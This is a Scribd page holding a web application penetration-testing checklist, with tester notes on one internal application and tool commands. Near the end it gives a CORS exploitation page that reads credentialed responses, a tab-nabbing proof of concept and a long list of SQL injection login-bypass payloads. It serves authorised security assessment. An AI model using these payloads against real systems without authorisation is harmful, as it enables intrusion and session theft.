Scribd Logo
Upload

Welcome to Scribd!

  • 100 views

    Category Sub-Category Status: Pre-Scan Analysis

    Uploaded by

    Vusra
    The document provides a categorization of different phases, categories, sub-categories and tasks involved in a web application security assessment. Some of the key categories covered include: - Pre-scan analysis to understand the target environment and technology stack - Scanning using tools like IBM AppScan, BurpSuite Pro and OWASP ZAP - Analyzing the scan reports - Performing information gathering on the web application - Testing for configuration and platform issues - Evaluating authentication, authorization, session management and input validation - Analyzing the application for cryptographic and business logic vulnerabilities - Testing the client side for issues like DOM XSS and clickjacking - Evaluating error handling, use of

    Copyright:

    © All Rights Reserved
    Download as XLSX, PDF, TXT or read online from Scribd

    Category Sub-Category Status: Pre-Scan Analysis

    Uploaded by

    Vusra
    100 views53 pages
    The document provides a categorization of different phases, categories, sub-categories and tasks involved in a web application security assessment. Some of the key categories covered include: - Pre-scan analysis to understand the target environment and technology stack - Scanning using tools like IBM AppScan, BurpSuite Pro and OWASP ZAP - Analyzing the scan reports - Performing information gathering on the web application - Testing for configuration and platform issues - Evaluating authentication, authorization, session management and input validation - Analyzing the application for cryptographic and business logic vulnerabilities - Testing the client side for issues like DOM XSS and clickjacking - Evaluating error handling, use of

    Original Title

    Pentest Checklist

    Copyright

    © © All Rights Reserved

    Available Formats

    XLSX, PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    The document provides a categorization of different phases, categories, sub-categories and tasks involved in a web application security assessment. Some of the key categories covered include: - Pre-scan analysis to understand the target environment and technology stack - Scanning using tools like IBM AppScan, BurpSuite Pro and OWASP ZAP - Analyzing the scan reports - Performing information gathering on the web application - Testing for configuration and platform issues - Evaluating authentication, authorization, session management and input validation - Analyzing the application for cryptographic and business logic vulnerabilities - Testing the client side for issues like DOM XSS and clickjacking - Evaluating error handling, use of

    Copyright:

    © All Rights Reserved
    Download as XLSX, PDF, TXT or read online from Scribd
    Download as xlsx, pdf, or txt
    100 views53 pages

    Category Sub-Category Status: Pre-Scan Analysis

    Uploaded by

    Vusra
    The document provides a categorization of different phases, categories, sub-categories and tasks involved in a web application security assessment. Some of the key categories covered include: - Pre-scan analysis to understand the target environment and technology stack - Scanning using tools like IBM AppScan, BurpSuite Pro and OWASP ZAP - Analyzing the scan reports - Performing information gathering on the web application - Testing for configuration and platform issues - Evaluating authentication, authorization, session management and input validation - Analyzing the application for cryptographic and business logic vulnerabilities - Testing the client side for issues like DOM XSS and clickjacking - Evaluating error handling, use of

    Copyright:

    © All Rights Reserved
    Download as XLSX, PDF, TXT or read online from Scribd
    Download as xlsx, pdf, or txt
    of 53
    At a glance
    Powered by AI
    The document outlines the process of performing a web application security assessment including common steps, vulnerabilities tested, and techniques used.

    Some common initial steps include information gathering, identifying technology stacks, understanding frameworks, scanning for vulnerabilities, and analyzing scan reports.

    Vulnerabilities typically tested include authentication issues, authorization bypass, session management flaws, input validation errors, and cryptographic weaknesses.

    Category Sub-category Status

    Pre-Scan
    Analysis
    Test if target is stable
    Understand target
    OS/Server/Framework/Technology/etc.
    Scan

    IBM AppScan
    BurpSuite Pro

    OWASP ZAP
    Scan Report
    Analysis
    Scan Report Analysis
    WebApp -
    Information
    Gathering
    Search Engine discovery

    Gather Info from - Response Headers


    Gather Info from – Meta-tags
    Gather Info from – Comments
    Gather Info from - Cookie names
    Gather Info from – Webserver metafiles
    Gather Info from - Default Errors/Error Page

    Gather Info from - External Scripts and CSS


    Identify application entry points
    WebApp –
    Configuration
    Issues
    Transport Layer Security
    Application Platform Configuration (based on
    gathered info)

    Server configuration (based on gathered info)


    Old files/Backup files/unused files for sensitive
    info
    HTTP Methods
    HSTS

    RIA Cross Domain Policy

    Host Header Injection

    Web-Frameworks Vulnerabilities

    WebApp –
    Authentication
    Default Credentials

    Account enumeration
    Username/Password policy

    Lockout Mechanism/remediation against


    bruteforce

    Password Autocomplete/Remember Me Option


    Test for password change/reset/Security
    Questions vulnerabilities

    Bypass authentication schema


    WebApp –
    Authorization
    Directory Traverse and listing
    Privilege Escalation

    Insecure Direct Object References


    WebApp -
    Session
    Management

    Session ID analysis/predict/manipulation

    Cookie Attribute

    Session Fixation
    Exposed Session Variables

    Cross Site request Forgery


    Logout Function vulnerabilities
    Session Timeout

    Session Token Analysis

    Java Web Token (JWT) Exploitation

    Java Serialization Attack

    WebApp - Input
    Validation
    Reflected Cross Site Scripting

    Stored Cross Site Scripting


    SQL Injection

    Parameter Pollution
    LDAP Injection
    XML Injection

    XPath Injection

    Server Side Include


    Code Injection
    Command Injection

    Local File Inclusion


    Remote File Inclusion
    Invalidated Redirects

    File Upload
    HTTP Splitting/Smuggling

    Web Parameter Tampering / Form Manipulation


    AngularJs injection
    Server side template injection (NodeJS)

    XSS using postMessage in JSON

    Tab Nabbing (target="_blank")

    GWT vulnerabilities (GWT insertion points)


    WebApp –
    Error Handling

    Stack Trace

    File Extensions Handling


    Error Codes
    WebApp -
    Cryptographic
    Issues
    Weak SSL/TLS

    SSL/TLS Issues

    Padding Oracle
    Client-side storage
    Sensitive info management over client-side and
    transport layer
    WebApp -
    Business Logic
    Bypass

    Business Data validation


    Forge/repeate requests violating business logic

    Integrity and timing

    Workflow bypass

    WebApp -
    Client-side
    Vulnerabilities
    DOM XSS
    Client-side URL redirection
    Bypass client-side validation
    Cross Site Flashing

    Click-jack
    Sensitive info in local storage

    Web-socket testing

    CORS exploitation

    Browser cache
    Content Security Policy
    X-XSS-Protection
    Reflected File Download
    Comments / Observations** Tools to Use

    JS Libraries - jQuery 2.1.1, jQuery 1.10.4, Data Tables, Selet 2, Wappalyzer, WhatRuns plugin for firefox
    FancyBox 3.57 and chrome
    UI- Bootstrap 4.3.1
    Programing Languages - Groovy

    No Security Headers For Burp, use "Headers Analyzer" extension


    NIL
    NIL
    SESSION, INGRESSCOOKIE
    No disclosure of Version Info

    Secure

    nil

    nil

    nil
    GET, POST
    Present

    No Cross Domain since its an internal application

    Nil Burp

    Burp Extensions - Software Version


    Nil Reporter & Software Vulnerability Scanner

    Not possible.. Its with AD Credentials


    Nil - Since the error or exception caused due invalid password
    and invliad email are same
    Password is complex
    No Account Lockout but the bruteforce using autometed tools or
    script is prevented using synchronization cookie (random cookie
    at each login request)

    NIL
    NA

    NIL

    NIL
    Appscan /Burp

    Use Burp Sequencer to of live capture and


    analyze the session ID's
    Use BurpSuite CSRF PoC generator
    Burp Suite – Repeater

    use Burp's character frobber”


    payload type in Burp Intruder to modify a
    token’s value in one character position at a
    time
    non-persistent: only RAM memory
    • secure (set only on HTTPS channel):
    Set Cookie: cookie=data; path=/;
    domain=.aaa.it; secure
    • HTTPOnly (not readable by a script):
    Set Cookie: cookie=data; path=/;
    domain=www.ibm.com HTTPOnly
    Use BurpSuite to analyze the raw response
    (In browser, EITHER reflecting values can
    be hidden from display OR HTML encoded
    response will be displayed with no
    encoding)

    Use BurpSuite to analyze the raw response


    (In browser, EITHER reflecting values can
    be hidden from display OR HTML encoded
    response will be displayed with no
    encoding)
    Burp
    Burp/Firebug addon
    Burp
    Burp

    Tamper Monkey Add-on, pmhook.js

    Add Burp extension GWT Insertion Points


    Use testssl.sh by installing the latest version
    from GitHub
    https://github.com/drwetter/testssl.sh.git

    Nessus, Nmap, Shell script in connections.


    Sometimes the SSL/TLS enabled service is
    not directly accessible and the tester can
    access it only via a HTTP proxy using
    CONNECT Method. Typically tcp ports with
    SSL for web and mail services are - but not
    limited to - 443 (https), 465 (ssmtp), 585
    (imap4-ssl), 993 (imaps), 995 (ssl-pop).

    nmap -sV --reason -PN -n –top-ports    


    nmap --script ssl-cert,ssl-enum-ciphers -p
    443,465,993,995                

    Checking for Client-initiated Renegotiation


    and Secure Renegotiation via openssl
    (manually)
    openssl s_client -connect <hostname>:443
     After cleint handshake—type HEAD /
    HTTP/1.1          R                                  
    if you get server  side response as
    “Renegotiating” then it is vulnerable.
    Testing supported Cipher Suites, BEAST
    and CRIME attacks via TestSSLServer.
    Testsl.sh script, ssl breacher for
    comprehensive ssl test
    Use testssl.sh by installing the latest version
    from GitHub_x000D_
    https://github.com/drwetter/testssl.sh.git

    PadBuster - https://github.com/GDSSecurity/PadBusterhttp:/

    Burp
    Burp
    for flash only, Appscan failed .
    Conditions References

    Use for full pen test strategy


    and in cases where Burp scan
    fails while running minimal pen
    test strategy

    AppScan or Burp fails to scan


    certain application / feature

    https://en.wikipedia.org/wiki/List_of_HTTP_header_fieldshttps://www.w3.org/Protocols/rfc2616/
    http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
    Check whether the current
    password works or not after
    initiating the forgot password
    action. If just by providing the
    email address or username
    (i.e without any secret) in
    forgot password feature if the
    old password becomes
    unusable then this flaw can be
    used to perform a DoS attack.

    Sometimes there is
    authentication status value
    (e.g. loggedin=false) sent in
    the request / response.
    Manipulating them may result
    in completing successful
    authentication with incorrect
    userid/ password.

    For Web applications and


    session is managed with
    cookies
    When application has to be
    authenticated
    When application has to be
    authenticated
    1. Application session
    management relying only on
    information which is known by the
    browser
    2. Existence of HTML tags whose
    presence cause immediate
    access like <img> tags
    3.Web applications whose
    session information is entirely
    supplied by the browser are
    vulnerable too
    4.DOES NOT include form based
    authentication
    Reference link: https://auth0.com/blog/2015/03/31/critical-
    vulnerabilities-in-json-web-token-libraries/ https://www.owasp.org/
    index.php/
    JSON_Web_Token_(JWT)_Cheat_Sheet_for_Java#NONE_hashi
    ng_algorithm
    https://github.com/NetSPI/JavaSerialKiller
    https://github.com/frohoff/ysoserial.git
    some examples where stored
    XSS is possible are
    User/Profiles page
    Shopping cart
    File Manager Forum/Message
    board
    Log
    Mostly reported by tools as
    false positve , manually need
    to be verified
    Reference:
    https://www.youtube.com/watch?
    v=3VMlV7j_yzg&feature=youtu.be
    https://www.exploit-db.com/docs/40287.pdf

    <html>
    <head>
    </head>
    <body>
    Tab nabbing validator
    <script language="javascript">
    window.opener.location = 'https://demo.testfire.net'
    </script>
    </body>
    </html>
    https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001)
    Install the latest testssl script of version from GitHub
    https://github.com/drwetter/testssl.sh.git

    The Application should


    function properly and should
    not throw exception / reveal
    sensitive information / Crash /
    perform unintended
    operations.
    The forged requests should
    not allow subvention of
    programmatic or business
    logic flow by invoking “hidden”
    features or functionality such
    as debugging.

    Based on functional
    walkthrough, identify critical
    areas and test

    Identify workflow areas and try


    to hack
    (https://www.owasp.org/index.php/Testing_WebSockets_(OTG-CLIENT-010))
    <html>
    <body>
    <button type='button' onclick='cors()'>xxx</button>
    <p id='demo'></p>
    <p id='session'></p>
    <script>
    function cors() {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
    document.getElementById("demo").innerHTML =
    this.responseText;
    parsed = JSON.stringify(this.responseText);
    var arr = [];
    for(var x in parsed){
    arr.push(parsed[x]);
    }
    console.log(arr)
    document.getElementById(‘session’).innerHTML = arr[13];
    }
    };
    xhttp.open("GET", "TARGET", true);
    xhttp.withCredentials = true;
    xhttp.send();
    }
    </script>
    </body>
    </html>
    SQL-vectors
    ' or 1=1--
    " or 1=1--
    or 1=1--
    ' or 'a'='a
    " or "a"="a
    ') or ('a'='a
    ") or ("a"="a
    •admin' --
    •admin' #
    •admin'/*
    •' or 1=1--
    •' or 1=1#
    •' or 1=1/*
    •') or '1'='1--
    •') or ('1'='1--
    •....
    •Login as different user (SM*)
    UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
    Injections:
    ) or true--
    ) or ('')=('
    ) or 1--
    ) or ('x')=('
    " or true--
    " or ""="
    " or 1--
    " or "x"="
    ") or true--
    ") or ("")=("
    ") or 1--
    ") or ("x")=("
    ')) or true--
    ')) or ((''))=(('
    ')) or 1--
    ')) or (('x'))=(('
    '-'
    ''
    '&'
    '^'
    '*'
    ' or ''-'
    ' or '' '
    ' or ''&'
    ' or ''^'
    ' or ''*'
    "-"
    ""
    "&"
    "^"
    "*"

    Page 52
    SQL-vectors
    " or ""-"
    " or "" "
    " or ""&"
    " or ""^"
    " or ""*"
    or true--
    " or true--
    ' or true--
    ") or true--
    ') or true--
    ' or 'x'='x
    ') or ('x')=('x
    ')) or (('x'))=(('x
    " or "x"="x
    ") or ("x")=("x
    ")) or (("x"))=(("x

    Page 53

    You might also like